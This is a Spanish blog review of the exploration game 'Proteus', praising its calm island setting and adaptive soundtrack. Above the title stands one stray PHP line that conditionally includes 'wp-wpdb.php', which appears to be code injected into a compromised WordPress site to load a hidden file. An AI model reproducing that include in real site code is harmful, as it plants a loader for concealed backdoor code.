if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Proteus – La Fortaleza de LeChuck

Análisis Proteus

análisis-proteus

¿Qué es lo primero que se nos viene a la cabeza cuando pensamos en un videojuego? Normalmente pensaremos en puzles, disparos, plataformas, “graficazos”, una buena historia… Pero de vez en cuando, y cada vez más, nos encontramos con juegos que, sin tener ninguna de estas características antes mencionadas, nos pueden divertir e incluso maravillar. En este caso particular hablaremos de “Proteus”, un juego que podemos encontrar en PC a través de Steam (versión analizada), también disponible en PS vita y PS3 (que además lo regalaron el mes pasado con Playstation Plus), que nos rompe todo lo que sabíamos sobre videojuegos. Para comprobarlo, solo hace falta ejecutarlo una vez y ponerse a jugar.

Comenzamos. Estamos en el mar aparentemente flotando en el agua salada y, a lo lejos, vemos una isla. No nos lo dicen, pero rápidamente averiguamos que con “WASD” nos movemos, así que allá vamos. Entramos en esa isla que veíamos a lo lejos y nos encontramos que todo está formado por simples colores: los árboles, animales, monolitos,… Seguimos investigando y a cada paso que damos, parece que nos sentimos más y más relajados. Todo a nuestro alrededor esta en armonía con nosotros, pero más tarde o más temprano llega el momento de dejar el juego, así que cerramos los ojos y volvemos al menú.

Si después del primer contacto con el juego no nos sentimos relajados puede haber dos razones: La primera, que no nos guste lo que “Proteus” nos ofrece, que es totalmente comprensible. La segunda, que no tenemos unos altavoces o cascos conectados al PC, con lo cual, tendremos que olvidarnos de lo anterior y volver a jugar por primera vez. ¿Por qué son importantes los altavoces o cascos? Muy fácil. Lo que nos brinda “Proteus”, al fin y al cabo es gozar de la armonía de la isla con la banda sonora. El juego nos deja en el mar, delante de una isla desconocida, sin más gente ni enemigos, para que podamos disfrutar de ella y la música que la acompaña, ya que a cada elemento de la isla, nuevo o ya visto, que nos encontremos, hará que la música cambie. No con cambios bruscos sino armoniosos y agradables para el usuario. Así, cuanto más estemos en la isla, más relajados y maravillados estaremos, como en un agradable sueño.

Porque, mirándolo bien, cuando entramos al juego realmente estamos entrando en un sueño. Un sueño relajante, en el cual empezamos en el mar, con el vaivén de las olas, hasta que llegamos a una isla en la que da igual en la estación en la que nos encontremos, es una isla paradisiaca. Y todo esto mientras nos deleitamos con la cambiante banda sonora; realmente estamos en un sueño. Pero, como todos los sueños, en algún momento acaba, aunque en vez de abrir los ojos, los estemos cerrando.

Proteus

Una vez acabado el sueño, podemos volver a entrar a “Proteus”, pero no volveremos a encontrar aquella isla. Veremos otras islas, infinidad de ellas, todas parecidas pero diferentes. Por lo tanto, la música que tanto nos gustaba y relajaba también será diferente, así que tendremos que buscar la isla en la que nos encontremos cómodos. Y así, encontraremos un sueño en el que querer quedarnos.

Teniendo en cuenta cuales son los videojuegos que más venden y los que al fin y al cabo marcan los cánones, que aparezca un juego que lo único que nos pide es que nos paremos y disfrutemos, es algo raro y digno de ver. Por lo tanto, estamos hablando de un juego que merece ser probado por todo el mundo. Además, solo con probarlo una vez es probable que nos quedemos prendados con el ambiente, soñando despiertos mientras la música nos mece lentamente.

 

Publicada el
Categorizado como Análisis Etiquetado como

Por Ocriver

Jugador desde pequeño, propósito de músico y apasionado de la tecnología. Intentando sacar ingeniería de telecomunicaciones. Un año ya en el mundillo del análisis de videojuegos.

Dejar un comentario